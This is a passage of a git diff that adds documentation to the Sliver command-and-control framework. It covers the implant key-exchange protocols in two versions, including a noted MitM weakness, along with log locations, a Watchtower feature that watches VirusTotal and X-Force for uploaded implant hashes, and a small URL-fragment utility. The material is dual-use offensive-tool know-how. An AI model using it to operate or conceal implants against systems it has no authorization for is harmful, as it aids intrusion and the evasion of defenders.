+The following keys are embedded in each implant at compile time, the server also stores these values in its database in addition to the SHA2-256 hash of the implant's peer public key:
+
+1. Age public key of server
+2. Age implant "peer" public key
+3. Age implant "peer" private key
+4. A minisign signature of the implant's age peer public key (signed by server's private key)
+5. The server's minisign public key
+
+### Server to Implant Key Exchange
+
+1. Implant generates random 256-bit symmetric "session key"
+2. Implant generates:
+
+- Calculate the HMAC-SHA2-256 of the session key, where the HMAC key is the SHA2-256 hash of the peer private key
+- Uses Age to encrypt session key and HMAC-SHA256 with server's public key
+
+3. Implant sends `[SHA2-256 Hash of Public Key | Age Ciphertext ]` to server.
+4. Server decrypts message with its private key
+5. Server generates a session ID, encrypts it with the session key using ChaCha20Poly1305, and sends it back
+6. All messages are encrypted with the session key using ChaCha20Poly1305 and associated with via the session ID
+7. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
+
+### Implant to Implant Key Exchange (Pivots)
+
+1. An implant starts a pivot listener (the listener)
+2. Another implant connects to the listener (the initiator)
+3. The initiator sends its Age public key and the minisign signature of its public key
+4. The listener verifies the initiator's public key is signed by the listener's server's minisign public key
+5. The listener generates a random session key and encrypts it with the initiator's verified public key
+6. The listener sends its Age public key, the minisign signature of its public key, and the encrypted session key back to the initiator
+7. The initiator verifies the listener's public key is signed by the initiator's server's minisign public key
+8. The initiator decrypts the session key using Age
+9. All messages are encrypted with the session key using ChaCha20Poly1305
+10. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
+11. The initiator then performs a key exchange with the server, using the server's embedded ECC public key, using the same pattern as described above. This prevents upstream implants (i.e. the listener) from being able to decrypt any traffic sent between the initiator and the server.
+
+### Known Limitations
+
+There are some known limitations, if you spot any or have ideas on improvements please file a ticket or contact us.
+
+1. Perfect Forward Secrecy: We do get some forward secrecy, since only the public key encrypted version of the session key is sent over the wire; therefore recovery of the hard coded implant keys from the binary should not result in recovery of the session key. Only when the server's private key is compromised can the session key be recovered, which we currently don't consider to be a problem.
+2. Implants can potentially be tracked via the hash of their public key. However, this value is implant specific, so in order to track the implant this way you'd have to already have a copy of the specific implant you want to track. At which point more effective tracking mechanisms like YARA rules could be employed.
+3. While messages cannot be replayed, valid messages can potentially be re-ordered.
+
+# Versions 1.5.0+
+
+⚠️ This version of the key exchange is [vulnerable to MitM attack](https://github.com/BishopFox/sliver/security/advisories/GHSA-8jxm-xp43-qh3q)
+
+The following keys are embedded in each implant at compile time, the server also stores these values in its database in addition to the SHA2-256 hash of the implant's public key:
+
+1. ECC public key of server
+2. ECC implant public key
+3. ECC implant private key
+4. A minisign signature of the implant ECC public key (signed by server's private key)
+5. The server's minisign public key
+6. TOTP shared secret (server-wide shared secret)
+
+### Server to Implant Key Exchange
+
+1. Implant generates random 256-bit symmetric "session key"
+2. Implant generates:
+
+- Current TOTP code using SHA2-256, Unix UTC, 8-digit numeric code
+- SHA2-256 hash of its own ECC public key
+- Uses Nacl Box (Curve25519, XSalsa20, and Poly1305) to encrypt session key with server's public ECC key
+
+3. Implant sends `[ TOTP Code | SHA2-256 Hash of Public Key | Nacl Box Ciphertext ]` to server, note: in this scheme no ECC keys (even public keys) are ever sent over the wire, instead we only send the hash of the public key.
+4. Server verifies TOTP Code (can optionally be disabled per listener server-side).
+5. Server uses the SHA2-256 hash of public key to look up the implant's full ECC public key in its database
+6. Decrypts Nacl with sender public key + server private key
+7. Server generates a session ID, encrypts it with the session key using ChaCha20Poly1305, and sends it back
+8. All messages are encrypted with the session key using ChaCha20Poly1305 and associated with via the session ID
+9. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
+
+### Implant to Implant Key Exchange (Pivots)
+
+1. An implant starts a pivot listener (the listener)
+2. Another implant connects to the listener (the initiator)
+3. The initiator sends its ECC public key and the minisign signature of its public key
+4. The listener verifies the initiator's public key is signed by the listener's server's minisign public key
+5. The listener generates a random session key and encrypts it with the initiator's verified public key
+6. The listener sends its ECC public key, the minisign signature of its public key, and the encrypted session key back to the initiator
+7. The initiator verifies the listener's public key is signed by the initiator's server's minisign public key
+8. The initiator decrypts the session key using Nacl Box (Curve25519, XSalsa20, and Poly1305)
+9. All messages are encrypted with the session key using ChaCha20Poly1305
+10. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
+11. The initiator then performs a key exchange with the server, using the server's embedded ECC public key, using the same pattern as described above but without the TOTP code. This prevents upstream implants (i.e. the listener) from being able to decrypt any traffic sent between the initiator and the server.
+
+### Known Limitations
+
+There are some known limitations, if you spot any or have ideas on improvements please file a ticket or contact us.
+
+1. Perfect Forward Secrecy: We do get some forward secrecy, since only the public key encrypted version of the session key is sent over the wire; therefore recovery of the hard coded implant keys from the binary should not result in recovery of the session key. Only when the server's private key is compromised can the session key be recovered, which we currently don't consider to be a problem.
+2. Implants can potentially be tracked via the hash of their public key. However, this value is implant specific, so in order to track the implant this way you'd have to already have a copy of the specific implant you want to track. At which point more effective tracking mechanisms like YARA rules could be employed.
+3. Session initialization messages can be replayed within the validity period of the TOTP value. TOTP values are valid for 30 seconds + 30 second margin of error, so the session initialization message can be replayed within about ~60 second period without obtaining a new TOTP code. However, the implant must use the session key to register itself post-key exchange so replayed session initialization does not appear to be a security risk even outside of the restrictive window.
+4. While messages cannot be replayed, valid messages can potentially be re-ordered.
diff --git a/docs/sliver-docs/pages/docs/md/Troubleshooting.md b/docs/sliver-docs/pages/docs/md/Troubleshooting.md
new file mode 100644
index 0000000000..c325531b91
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Troubleshooting.md
@@ -0,0 +1,20 @@
+## Server/Client Troubleshooting
+
+### Server logs
+
+Server related logs are saved to: `~/.sliver/logs/`
+
+- `sliver.log` is the main log file for server related events
+- `console.log` is the log of the server's built-in "client" console
+- `sliver.json` JSON formatted log (includes timestamps)
+- `audit.json` a JSON formatted history of commands/activity
+
+The default log level for the server is `INFO` when troubleshooting it may be helpful to increase this to `DEBUG` (5), which can be done by editing the [server configuration file](https://github.com/BishopFox/sliver/wiki/Configuration-Files)
+
+### Client logs
+
+`~/.sliver-client/sliver-client.log`
+
+## Implant Troubleshooting
+
+If you need to trouble shoot an issue (connectivity, etc) with an implant try generating it with the `--debug` flag.
diff --git a/docs/sliver-docs/pages/docs/md/Watchtower.md b/docs/sliver-docs/pages/docs/md/Watchtower.md
new file mode 100644
index 0000000000..428093542a
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Watchtower.md
@@ -0,0 +1,15 @@
+The Sliver server has a built-in capability to periodically monitor VirusTotal and IBM X-Force for implant hashes to determine whether implant builds have been uploaded to such platform.
+To set it up, update your `$HOME/.sliver/configs/server.json` and set the following values in the `watchtower` object:
+
+```json
+{
+ "watch_tower": {
+ "vt_api_key": "YOUR_VIRUSTTOTAL_API_KEY",
+ "xforce_api_key": "YOUR_XFORCE_API_KEY",
+ "xforce_api_password": "YOUR_XFORCE_API_PASSWORD"
+ }
+}
+```
+
+Once that is done, restart the Sliver server. You can now use the `monitor start` and `monitor stop` commands to start and stop periodic monitoring of your implant builds on VirusTotal and IBM X-Force.
+The server is configured to stay below the limits of requests for the free tier component for each providers. This means 4 requests per minute / 500 requests per day for VirusTotal, and 6 requests per hour for X-Force. More details on the implementation can be found [here](https://github.com/lesnuages/snitch).
diff --git a/docs/sliver-docs/util/frags.ts b/docs/sliver-docs/util/frags.ts
new file mode 100644
index 0000000000..be69fc9063
--- /dev/null
+++ b/docs/sliver-docs/util/frags.ts
@@ -0,0 +1,60 @@
+/** URL Fragment Arguments */
+
+class Frags {
+
+ set(name: string, value: string) {
+ let frags = this._parseHash();
+ frags.set(name, value);
+ let newFrags = "";
+ for (let [key, value] of frags) {
+ newFrags += `${key}=${value};`;
+ }
+ window.location.hash = newFrags;
+ }
+
+ get(name: string): string | undefined {
+ if (typeof window === "undefined") {
+ return undefined;
+ }
+ let frags = window.location.hash;
+ if (!frags) {
+ return undefined;
+ }
+ let fragsMap = this._parseHash();
+ return fragsMap.get(name);
+ }
+
+ unset(name: string) {
+ let frags = window.location.hash;
+ if (!frags) {
+ return;
+ }
+ let fragsMap = this._parseHash();
+ fragsMap.delete(name);
+ let newFrags = "";
+ for (let [key, value] of fragsMap) {
+ newFrags += `${key}=${value};`;
+ }
+ window.location.hash = newFrags;
+ }
+
+ private _parseHash(): Map {
+ let frags = window.location.hash;
+ frags = frags.substring(1);
+ let fragsMap = new Map();
+ if (!frags) {
+ return fragsMap;
+ }
+ frags.split(";").forEach(frag => {
+ if (!frag) {
+ return;
+ }
+ const [key, value] = frag.split("=");
+ fragsMap.set(key, value);
+ });
+ return fragsMap;
+ }
+
+}
+
+export const frags = new Frags();